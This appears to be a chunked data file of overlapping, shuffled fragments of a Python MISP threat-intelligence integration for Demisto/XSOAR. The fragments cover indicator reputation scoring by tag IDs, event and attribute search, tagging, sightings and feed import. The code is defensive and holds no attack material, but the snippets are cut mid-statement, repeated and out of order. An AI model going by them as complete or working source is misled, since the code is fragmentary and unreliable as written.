attribute.get('timestamp'):\",\n \") def main(): params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability\",\n \"Args: event_id (int): Event ID to add attribute to internal (bool): if set\",\n \"',' as delimiter for parameters and ';' as delimiter for operators. using the\",\n \"{'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}]\",\n \"readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Attribute\\\", outputs_key_field=\\\"ID\\\" ) else: return CommandResults(readable_output=f\\\"No attributes found in MISP for\",\n \"if event['Threat Level ID'] in bad_threat_level_ids: return True return False def get_score(attribute_tags_ids, event_tags_ids,\",\n \"PyMISPError: raise DemistoException(\\\"Removing the required tag was failed. Please make sure the UUID\",\n \"{demisto.command()} command are {args_to_misp_format}\\\") return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict:\",\n \"warnings urllib3.disable_warnings() # Disable python warnings warnings.warn = warn ''' GLOBALS/PARAMS ''' params\",\n \"1 if demisto_args.get('include_decay_score') == 'true' else 0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] =\",\n \"shared by the events found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return { 'Attribute\",\n \"= prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level)\",\n \"PyMISPError as e: return_error(e.message) except Exception as e: return_error(str(e)) if __name__ in ['__main__',\",\n \"return attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args,\",\n \"operators. using the operators is optional. if 'demisto_query' does not contains any of\",\n \"MISP update attribute\\\\nAttribute: {attribute_uuid} was updated.\\\\n\\\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data =\",\n \"is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag := tag) in event_tags_ids for tag\",\n \"return related_events def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return\",\n \"are valid positive integers.\\\"\\\"\\\" for tag in tag_ids: try: tag = int(tag) if\",\n \"an attribute's one. Otherwise it's event's. \\\"\\\"\\\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag')\",\n \"= Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\\\"No results were found in MISP\\\") indicator =\",\n \"(dict): Demisto args new_event (MISPEvent): When this function was called from create event\",\n \"return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Attribute\\\", outputs_key_field=\\\"ID\\\" ) else: return CommandResults(readable_output=f\\\"No attributes found\",\n \"def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute: attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution')\",\n \"outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict): \\\"\\\"\\\"Adds sighting to MISP attribute \\\"\\\"\\\" attribute_id\",\n \"attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type') } for sighting in attribute.get('Sighting') ] def\",\n \"add_sighting(demisto_args: dict): \\\"\\\"\\\"Adds sighting to MISP attribute \\\"\\\"\\\" attribute_id = demisto_args.get('id') attribute_uuid =\",\n \"suspicious reliability (DBotScoreReliability): integration reliability score. attributes_limit (int) : Limits the number of\",\n \"= requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object\",\n \"Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored tag': events_to_human_readable, 'Scored Tag ID':\",\n \"event search returned from MISP to the context output format. please note: attributes\",\n \"else: return CommandResults(readable_output=f\\\"No events found in MISP for the given filters: {args}\\\") def\",\n \"calculates it's dbot score. The score is calculated by the tags ids (attribute\",\n \"id, threat level id) about all the events that include the indicator Please\",\n \"attribute_tags = [tag.get('Name') for tag in attribute.get('Tag')] if attribute.get( 'Tag') else None attribute_sightings\",\n \"import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator import copy\",\n \"{limit}\\\\n\\\" if len(response_for_context) == limit: pagination_message += f\\\"Showing page {page} out others that\",\n \"as malicious or suspicious. event_name (str): Name of the event \\\"\\\"\\\" related_events =\",\n \"== 'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command ==\",\n \"to True, will not post results to Demisto demisto_args (dict): Demisto args new_event\",\n \"command == 'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command\",\n \"for attribute in attributes_list: attribute.pop(\\\"RelatedAttribute\\\") # get rid of this useless list event\",\n \"score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set() found_related_events = {}\",\n \"misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text':\",\n \"'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id', 'date',\",\n \"attributes and Events that: * have tags which configured as malicious will be\",\n \"raise DemistoException(f\\\"Error: The given IP address: {value} is not valid\\\") if dbot_type ==\",\n \"tag <= 0: raise DemistoException(f\\\"Tag id has to be a positive integer, please\",\n \"misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment')\",\n \"if hash_format == 'Unknown': raise DemistoException('Invalid hash length, enter file hash of format\",\n \"attribute_highlights = [] for attribute in response: event = attribute.get('Event', {}) attribute_tags =\",\n \"url def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict): \\\"\\\"\\\"Gets an OSINT feed from\",\n \"is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if\",\n \"domain object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \\\"\\\"\\\" text = demisto_args.get('text') event_id =\",\n \"{value} was added to event id {new_event.id}.\\\\n\\\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event),\",\n \"attributes\\\", response_for_context[:number_of_results], [\\\"Value\\\"]) else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message =\",\n \"list: \\\"\\\"\\\"returns list of attributes' values that match the search query when user\",\n \"= PREDEFINED_FEEDS[url].get('url') # type: ignore return url def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies:\",\n \"new MISP event object and set the event's details. \\\"\\\"\\\" event = MISPEvent()\",\n \"g_object) def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\\\"'\\\",\",\n \"= first_seen if last_seen: attribute_instance.last_seen = last_seen return attribute_instance def update_attribute_command(demisto_args: dict) ->\",\n \"{args}\\\") def build_events_search_response(response: Union[dict, requests.Response]) -> dict: \\\"\\\"\\\" Convert the response of event\",\n \"} SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE =\",\n \"in MISP. please check it once again\\\") new_event = response[0] # response[0] is\",\n \"for i in range(0, len(events)): # Filter object from keys in event_args events[i]\",\n \"\\\"\\\"\\\"Adding attribute to a given MISP event object This function can be called\",\n \"attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\\\"## MISP update\",\n \"convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg in args_names if demisto_args.get(arg)] def\",\n \"event_object.get('description'), 'id': event_object.get('id') } for event_object in event['Object'] ] def build_tag_output(given_object): \\\"\\\"\\\"given_object is\",\n \"positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP\",\n \"was found, then the score is Unknown so no events should be found.\",\n \"go over all the tags and search if found_tag is one of it's\",\n \"events_ids = list() # type: List[Dict[str, int]] for index, uri in enumerate(uri_list, 1):\",\n \"= MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis')\",\n \"response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP has not\",\n \"== \\\"IP\\\": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == \\\"DOMAIN\\\": return Common.Domain(domain=value, dbot_score=dbot_score) if\",\n \"was not found in MISP. please check it once again\\\") new_event = response[0]\",\n \"in range(len(related_events)): if related_events[i] not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def\",\n \"{value} is not valid\\\") if dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise\",\n \"the score is Unknown so no events should be found. Returns: list includes\",\n \"demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B - Usually\",\n \"to get that score found_related_events (dict): contains info (name, id, threat level id)\",\n \"attributes amount, we sort the attributes list by the event ids as the\",\n \"[replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key\",\n \"section Returns: List[Dict[str, any]]: filtered response \\\"\\\"\\\" return [{ 'code': err[0], 'message': err[1].get('message'),\",\n \"the attributes that found (after limit the attributes amount to the given limit)\",\n \"if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no tag was found if is_attribute_in_event_with_bad_threat_level: return\",\n \"\\\"\\\"\\\" found_tag = None is_attribute_tag_malicious = any((found_tag := tag) in attribute_tags_ids for tag\",\n \"if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag := tag) in event_tags_ids for\",\n \"return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == \\\"DOMAIN\\\": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type ==\",\n \"has been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): \\\"\\\"\\\" Function will\",\n \"== 'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args))\",\n \"for ip in ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen',\",\n \"True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag']\",\n \"the given attribute value in MISP and then calculates it's dbot score. The\",\n \"if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] =\",\n \"a domain object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \\\"\\\"\\\" text = demisto_args.get('text') event_id\",\n \"called function\\\"\\\"\\\" if given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name': star.get('name'), 'type': star.get('type'), 'description':\",\n \"attribute.get('Event', {}) attribute_tags = [tag.get('Name') for tag in attribute.get('Tag')] if attribute.get( 'Tag') else\",\n \"'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail',\",\n \"return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if\",\n \"Gets 2 sets which include tag ids. If there is an id that\",\n \"= 1 if demisto_args.get('include_correlations') == 'true' else 0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist']\",\n \"In any other case, we won't add the tag. Args: attribute_dict (dict): The\",\n \"a positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else: raise\",\n \"if 'errors' in response: raise DemistoException(f'Error in `{demisto.command()}` command: {response}') for ref in\",\n \"event\\\\nNew event with ID: {event_id} has been successfully created.\\\\n\\\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event',\",\n \"function searches for all the events that have the tag (i.e found_tag) which\",\n \"= any((found_tag := tag) in event_tags_ids for tag in suspicious_tag_ids) if is_event_tag_suspicious: return\",\n \"raw_response=response ) def remove_tag(demisto_args: dict, is_attribute=False): \\\"\\\"\\\" Function will remove tag to given\",\n \"= demisto_args.get('distribution') category = demisto_args.get('category') comment = demisto_args.get('comment') value = demisto_args.get('value') first_seen =\",\n \"is Unknown so no events should be found. Returns: list includes all the\",\n \"this function parses the response. This function goes over all the attributes that\",\n \"= controller demisto.debug(f\\\"[MISP V3]: args for {demisto.command()} command are {args_to_misp_format}\\\") return args_to_misp_format def\",\n \"to add it to tag_set_ids. In any other case, we won't add the\",\n \"Name of the event \\\"\\\"\\\" related_events = [] object_tags_list = object_data_dict.get('Tag', []) for\",\n \"event_object in event['Object'] ] def build_tag_output(given_object): \\\"\\\"\\\"given_object is attribute or event, depends on\",\n \"== \\\"EMAIL\\\": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == \\\"URL\\\": return Common.URL(url=value, dbot_score=dbot_score) def\",\n \"'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif\",\n \"query when user set the arg 'compact' to True\\\"\\\"\\\" if isinstance(response_object, str): response_object\",\n \"last_seen: attribute_instance.last_seen = last_seen return attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid =\",\n \"{pagination_message}\\\", attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Attribute\\\", outputs_key_field=\\\"ID\\\" ) else: return\",\n \"event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name') for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects\",\n \"url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if\",\n \"\\\"\\\"\\\" Args: template_name: template name as described in https://github.com/MISP/misp-objects args: arguments to create\",\n \"= PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully added to event {uuid}'\",\n \"THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium': 2, 'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA\",\n \"new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and new_event.get('errors'): raise\",\n \"import FileObject from CommonServerPython import * logging.getLogger(\\\"pymisp\\\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \\\"SSLError\\\" in error:\",\n \"MISP to the context output format. \\\"\\\"\\\" response_object = copy.deepcopy(response) if include_correlations: #\",\n \"results. \\\"\\\"\\\" reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True,\",\n \"with feeds for example: https://www.misp-project.org/feeds/ feed format must be MISP. \\\"\\\"\\\" headers =\",\n \"event['Threat Level ID'] in bad_threat_level_ids: return True return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids,\",\n \"'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID',\",\n \"isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\\\"## MISP update attribute\\\\nAttribute: {attribute_uuid}\",\n \"attribute_tags_ids for tag in suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag\",\n \"{ 'initial': 0, 'ongoing': 1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0,\",\n \"demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args: dict): \\\"\\\"\\\"Adds a domain\",\n \"# converting args to MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips =\",\n \"was occurred: {response.get('message')}\\\") elif response.get('Sighting'): human_readable = f'Sighting \\\\'{sighting_type}\\\\' has been successfully added\",\n \"list and limits the tags and galaxies lists. Eventually, the outputs will be\",\n \"not contains any of the complex operators the original input will be returned\",\n \"from error section Returns: List[Dict[str, any]]: filtered response \\\"\\\"\\\" return [{ 'code': err[0],\",\n \"event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp'))\",\n \"if dbot_type == 'URL': if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\\\"Error: The given url:\",\n \"reliability=reliability, malicious_description=\\\"Match found in MISP\\\") indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute')\",\n \"'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response =\",\n \"attributes_list: attribute.pop(\\\"RelatedAttribute\\\") # get rid of this useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute,\",\n \"in suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag := tag) in\",\n \"is_complex_search = is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query\",\n \"from the suspicious tag ids set and will be stayed only in the\",\n \"'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ]\",\n \"other case, we won't add the tag. Args: attribute_dict (dict): The dictionary that\",\n \"will be used only in output hash_format = get_hash_type(value) if hash_format == 'Unknown':\",\n \"args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last'\",\n \"\\\"SSLError\\\" in error: return_error('Unable to connect to MISP because of a SSLCertVerificationError, '\",\n \"found_tag_name = event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value':\",\n \"Union, List, Dict from urllib.parse import urlparse import urllib3 from pymisp import ExpandedPyMISP,\",\n \"command == 'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object':\",\n \"PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\\\"## MISP\",\n \"event id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment':\",\n \"'domain', 'hostname', 'ip_src', 'ip_dst' ] # converting args to MISP's arguments types misp_attributes_args\",\n \"event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids\",\n \"presents. command {demisto.command()} requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \\\"\\\"\\\" Gets 2\",\n \"pass # Disable requests warnings urllib3.disable_warnings() # Disable python warnings warnings.warn = warn\",\n \"'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium': 2, 'Low': 3,\",\n \"says that it is an event's tag. Otherwise (if it is set to\",\n \"None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): \\\"\\\"\\\"given_object is attribute or event,\",\n \"add to MISP event_id: ID of event \\\"\\\"\\\" response = PYMISP.add_object(event_id, misp_object=obj) if\",\n \"JSON\\\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg in\",\n \"value: attribute_instance.value = value if comment: attribute_instance.comment = comment if first_seen: attribute_instance.first_seen =\",\n \"hash_type == 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value)\",\n \"demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if arg in demisto_args} # Replacing keys and\",\n \"if internal: return value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable =\",\n \"'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ] # converting args to MISP's arguments\",\n \"else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')] if attribute.get('Sighting') else None\",\n \"= MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category if value: attribute_instance.value = value if\",\n \"found_tag is_event_tag_suspicious = any((found_tag := tag) in event_tags_ids for tag in suspicious_tag_ids) if\",\n \"list. found_tag (str): The tag that was scored as malicious or suspicious. event_name\",\n \"(str): The tag that was scored as malicious or suspicious. If no tag\",\n \"Union[dict, list, str]: \\\"\\\"\\\" Replacing keys from MISP's format to Demisto's (as appear\",\n \"for tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [ {'type':\",\n \"except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL OSINT Feed',\",\n \"attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID':\",\n \"in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url \\\"\\\"\\\" url_args = [ 'text', 'last_seen', 'first_seen'\",\n \"there is an id that exists in both sets, it will be removed\",\n \"it. \\\"\\\"\\\" event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors' in response: raise\",\n \"main(): params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability',\",\n \"list containing dicts that GenericObjectGenerator can take. Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'}\",\n \"] ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp',\",\n \"'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value':\",\n \"an event object, meaning the tags are event's ones. Otherwise, the data is\",\n \"command: {response}') for ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute in response.get('Object',\",\n \"dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not =\",\n \"tag (id) which made the indicator to get that score found_related_events (dict): contains\",\n \"in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: \\\"\\\"\\\"returns list of attributes'\",\n \"'Sighting', ] def extract_error(error: list) -> List[dict]: \\\"\\\"\\\" Extracting errors raised by PYMISP\",\n \"OSINT feed from url and publishing them to MISP urls with feeds for\",\n \"more information please see build_complex_query in pymisp/api.py Args: demisto_query: complex query contains saved\",\n \"the tag is only related to an attribute we would like to add\",\n \"except ValueError as e: raise DemistoException( f'`attribute` parameter could not be decoded, may\",\n \"(MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items()\",\n \"= demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag) if response and response.get('errors'): raise DemistoException(f'Error\",\n \"attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid)\",\n \"IP address: {value} is not valid\\\") if dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX,\",\n \"from search-events output as the information is too big. User can use the\",\n \"tags). Args: value (str): The indicator value (an IP address, email address, domain,\",\n \"def main(): params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability =\",\n \"Common.DBotScore.NONE, None def get_new_misp_event_object(args): \\\"\\\"\\\" Create a new MISP event object and set\",\n \"Args: attribute_dict (dict): The dictionary that includes the tag list. is_event_level (bool): Whether\",\n \"the tags ids (attribute tags and event tags). Args: value (str): The indicator\",\n \"of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \\\"\\\"\\\" Gets 2 sets which include tag ids.\",\n \"{'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line \\\"\\\"\\\"\",\n \"to MISP because of a SSLCertVerificationError, ' 'Please try to use the Trust\",\n \"attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags,\",\n \"= 1 if demisto_args.get('to_ids') == 'true' else 0 if 'from' in args_to_misp_format: args_to_misp_format['date_from']\",\n \"f\\\"## MISP update attribute\\\\nAttribute: {attribute_uuid} was updated.\\\\n\\\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data\",\n \"events was added to MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, )\",\n \"(dict): Event or attribute dict which includes tags list. found_tag (str): The tag\",\n \"argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id = event_id if event_id else\",\n \"URL are correct\\\" in error: return_error('Unable to connect to MISP, ' 'Please make\",\n \"if tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name':\",\n \"\\\"\\\"\\\" Convert the response of event search returned from MISP to the context\",\n \"raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): \\\"\\\"\\\" Function will add tag to given UUID\",\n \"add_url_object(demisto_args: dict): \\\"\\\"\\\"Building url object in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url \\\"\\\"\\\" url_args\",\n \"event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org ID':\",\n \"return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'url': return_results(\",\n \"list, str]): object to replace keys in Returns: Union[dict, list, str]: same object\",\n \"event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args: dict,\",\n \"be decoded, may not a valid JSON\\\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return\",\n \"in args_to_misp_format: 